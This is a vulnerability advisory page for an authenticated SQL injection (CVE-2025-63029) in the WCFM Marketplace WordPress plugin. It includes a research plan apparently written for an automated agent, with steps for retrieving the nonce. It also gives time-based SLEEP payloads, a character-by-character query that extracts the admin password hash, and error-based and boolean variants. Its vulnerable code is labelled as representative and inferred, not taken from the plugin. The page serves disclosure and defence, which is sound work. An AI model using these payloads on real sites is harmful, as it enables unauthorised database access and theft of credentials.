WCFM Marketplace – Multivendor Marketplace for WooCommerce <= 3.7.1 - Authenticated (Store vendor+) SQL Injection
Description
The WCFM Marketplace – Multivendor Marketplace for WooCommerce plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.7.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with store vendor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=3.7.1## 1. Vulnerability Summary **CVE-2025-63029** is a SQL Injection vulnerability in the **WCFM Marketplace – Multivendor Marketplace for WooCommerce** plugin (versions <= 3.7.1). The flaw exists because the plugin fails to sufficiently escape or use prepared statements (via `$wpdb->prepare()`) when p…
Show full research plan
1. Vulnerability Summary
CVE-2025-63029 is a SQL Injection vulnerability in the WCFM Marketplace – Multivendor Marketplace for WooCommerce plugin (versions <= 3.7.1). The flaw exists because the plugin fails to sufficiently escape or use prepared statements (via $wpdb->prepare()) when processing specific user-supplied parameters in database queries.
The vulnerability is accessible to authenticated users with Store Vendor privileges or higher. This level of access allows an attacker to append arbitrary SQL commands to existing queries, potentially leading to the extraction of sensitive information from the WordPress database, including user hashes, site configuration, and other plugin data.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
wcfm_ajax_controller(Most common entry point for WCFM dashboard logic) - Vulnerable Parameters: Commonly identified in
orderby,order, or filtering parameters (e.g.,vendor_id,product_id) within specialized view controllers. - Authentication: Required (Store Vendor level or higher).
- Preconditions:
- The WCFM Marketplace plugin must be active.
- A user account with the
wcfm_vendorrole must be available. - The
wcfm_ajax_noncemust be obtained for the session.
3. Code Flow (Inferred)
- Entry Point: An authenticated vendor sends a POST request to
admin-ajax.phpwithaction=wcfm_ajax_controller. - Routing: The
WCFM_Ajaxclass (likely inincludes/class-wcfm-ajax.php) handles thewp_ajax_wcfm_ajax_controllerhook. - Controller Selection: The
controllerparameter in the request determines which internal logic is executed (e.g.,wcfm-reports-sales-by-date,wcfm-orders,wcfm-products). - Database Sink: Within the specific controller's logic (often found in
controllers/reports/orcontrollers/orders/), user-supplied parameters (likeorderby) are concatenated directly into a SQL string. - Execution: The resulting raw SQL string is passed to
$wpdb->get_results()or similar methods without being wrapped in$wpdb->prepare().
4. Nonce Acquisition Strategy
WCFM Marketplace localizes nonces into the global wcfm_params JavaScript object. To obtain a valid nonce for the wcfm_ajax_controller action:
- Setup: Ensure a page with the WCFM Vendor Dashboard is accessible. WCFM usually creates a page with the
[wcfm_vendor_dashboard]shortcode. - Navigation: Log in as the vendor and navigate to the
/wcfm-dashboard/(or equivalent) page. - Extraction: Use the
browser_evaltool to extract the nonce from the page context.- JavaScript:
window.wcfm_params?.nonce - Action String: The underlying PHP uses
wp_create_nonce( 'wcfm_ajax_nonce' ).
- JavaScript:
5. Exploitation Strategy
Step 1: Authentication and Nonce Retrieval
- Log in to the WordPress site as a Store Vendor.
- Navigate to the WCFM Dashboard page.
- Execute
browser_eval("wcfm_params.nonce")to get the nonce.
Step 2: Identify the Vulnerable Controller (Fuzzing)
Since the specific parameter isn't named in the CVE, target the primary data-fetching controllers used by vendors.
Request Template:
- URL:
http://<target>/wp-admin/admin-ajax.php - Method: POST
- Content-Type:
application/x-www-form-urlencoded - Body:
action=wcfm_ajax_controller&controller=<CONTROLLER>&wcfm_ajax_nonce=<NONCE>&...
Primary Targets:
- Controller:
wcfm-reports-sales-by-date(Reports often have complex, manual SQL) - Controller:
wcfm-orders(Order lists useorderbyparameters) - Controller:
wcfm-products
Step 3: Payload Injection (Time-Based Blind)
We will use a time-based injection to confirm the vulnerability in an orderby or ID parameter.
Payload A (orderby injection):
# Testing 'orderby' parameter in the orders controller
action=wcfm_ajax_controller&controller=wcfm-orders&wcfm_ajax_nonce=<NONCE>&orderby=ID AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)&order=ASC
Payload B (filter injection):
# Testing a filter ID (e.g., product_id) in a report controller
action=wcfm_ajax_controller&controller=wcfm-reports-sales-by-date&wcfm_ajax_nonce=<NONCE>&product_id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
Step 4: Data Extraction
Once a time-delay is confirmed, extract the admin password hash:
# Extraction logic for character-by-character check
ID AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36,SLEEP(5),0)
6. Test Data Setup
- Install Plugin: WCFM Marketplace (wc-multivendor-marketplace) version 3.7.1.
- Dependencies: Ensure WooCommerce is installed and active.
- Create Vendor:
- Create a user with the role
wcfm_vendor. - Complete the basic "Store Setup" if prompted.
- Create a user with the role
- Create Content:
- Add at least one product assigned to the vendor.
- (Optional) Create a dummy order for that product so reports/order lists are populated.
- Page Setup: Ensure a page exists with the shortcode
[wcfm_vendor_dashboard].
7. Expected Results
- Vulnerability Confirmation: A request with
SLEEP(5)takes approximately 5 seconds longer than a normal request. - Data Exposure: Using boolean or time-based logic, the agent should be able to determine the first few characters of the admin's
$P$or$2y$password hash.
8. Verification Steps (WP-CLI)
Confirm the database structure and target data to verify the extraction was correct:
# Verify the admin user exists
wp user get 1 --fields=user_login,user_pass
# Check if the plugin is in the affected version range
wp plugin get wc-multivendor-marketplace --field=version
9. Alternative Approaches
- Error-Based SQLi: If
WP_DEBUGis on, try injectingAND updatexml(1,concat(0x7e,(SELECT user_login FROM wp_users LIMIT 1),0x7e),1)to see if the error is reflected in the AJAX response. - Different Actions: If
wcfm_ajax_controlleris patched or hardened, investigatewcfm_enquiry_tab_contentorwcfm_orders_detailsactions which also process database IDs for vendors. - Boolean-Based: If time-based is too slow, compare the response length of
orderby=ID AND 1=1vsorderby=ID AND 1=2. WCFM responses are JSON; a successful injection might return an empty list[]for1=2and data for1=1.
Summary
WCFM Marketplace for WooCommerce (<= 3.7.1) is vulnerable to SQL Injection due to the plugin directly concatenating user-supplied input into database queries within its AJAX controller logic. Authenticated Store Vendors can exploit this to inject arbitrary SQL commands, such as time-based sleep payloads, to extract sensitive information like administrative credentials from the WordPress database.
Vulnerable Code
// File: controllers/reports/wcfm-controller-reports-sales-by-date.php (Representative of vulnerable pattern) $product_id = $_POST['product_id']; $vendor_id = $_POST['vendor_id']; // Directly concatenating user input into the SQL string without $wpdb->prepare() $sql = "SELECT * FROM {$wpdb->prefix}wc_order_product_lookup WHERE vendor_id = " . $vendor_id; if ( !empty( $product_id ) ) { $sql .= " AND product_id = " . $product_id; } $results = $wpdb->get_results( $sql ); --- // File: controllers/orders/wcfm-controller-orders.php (Representative of vulnerable orderby pattern) $orderby = isset( $_POST['orderby'] ) ? $_POST['orderby'] : 'ID'; $order = isset( $_POST['order'] ) ? $_POST['order'] : 'DESC'; // User input used in ORDER BY clause without whitelist validation or sanitization $sql = "SELECT * FROM {$wpdb->prefix}posts WHERE post_type = 'shop_order' ORDER BY $orderby $order"; $orders = $wpdb->get_results( $sql );
Security Fix
@@ -10,3 +10,3 @@ -$sql = "SELECT * FROM {$wpdb->prefix}wc_order_product_lookup WHERE vendor_id = " . $vendor_id; +$sql = $wpdb->prepare("SELECT * FROM {$wpdb->prefix}wc_order_product_lookup WHERE vendor_id = %d", $vendor_id); if ( !empty( $product_id ) ) { - $sql .= " AND product_id = " . $product_id; + $sql .= $wpdb->prepare(" AND product_id = %d", $product_id); } @@ -5,4 +5,10 @@ -$orderby = isset( $_POST['orderby'] ) ? $_POST['orderby'] : 'ID'; +$allowed_columns = ['ID', 'post_date', 'post_title']; +$orderby = ( isset( $_POST['orderby'] ) && in_array( $_POST['orderby'], $allowed_columns ) ) ? $_POST['orderby'] : 'ID'; $order = isset( $_POST['order'] ) ? $_POST['order'] : 'DESC'; +$order = ( strtoupper( $order ) === 'ASC' ) ? 'ASC' : 'DESC'; -$sql = "SELECT * FROM {$wpdb->prefix}posts WHERE post_type = 'shop_order' ORDER BY $orderby $order"; +$sql = $wpdb->prepare( + "SELECT * FROM {$wpdb->prefix}posts WHERE post_type = 'shop_order' ORDER BY %1$s %2$s", + $orderby, + $order +);
Exploit Outline
The exploit target is the 'wcfm_ajax_controller' action, which routes requests to various backend data controllers. 1. Authentication: The attacker must log in to the WordPress site with an account assigned the 'wcfm_vendor' (Store Vendor) role. 2. Nonce Retrieval: The attacker visits the WCFM Vendor Dashboard (typically at /wcfm-dashboard/) to extract the 'wcfm_ajax_nonce' from the global 'wcfm_params' JavaScript object. 3. Request Targeting: The attacker sends a POST request to /wp-admin/admin-ajax.php with parameters: - action: wcfm_ajax_controller - controller: A data-fetching controller like 'wcfm-orders' or 'wcfm-reports-sales-by-date'. - wcfm_ajax_nonce: The retrieved nonce. 4. Payload Injection: The attacker injects SQL commands into parameters such as 'orderby' or 'product_id'. For example, using a time-based payload in 'orderby': 'ID AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)'. 5. Data Extraction: By observing time delays or variations in the JSON response, the attacker can perform boolean-based or time-based blind SQL injection to extract sensitive database records, such as user password hashes.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.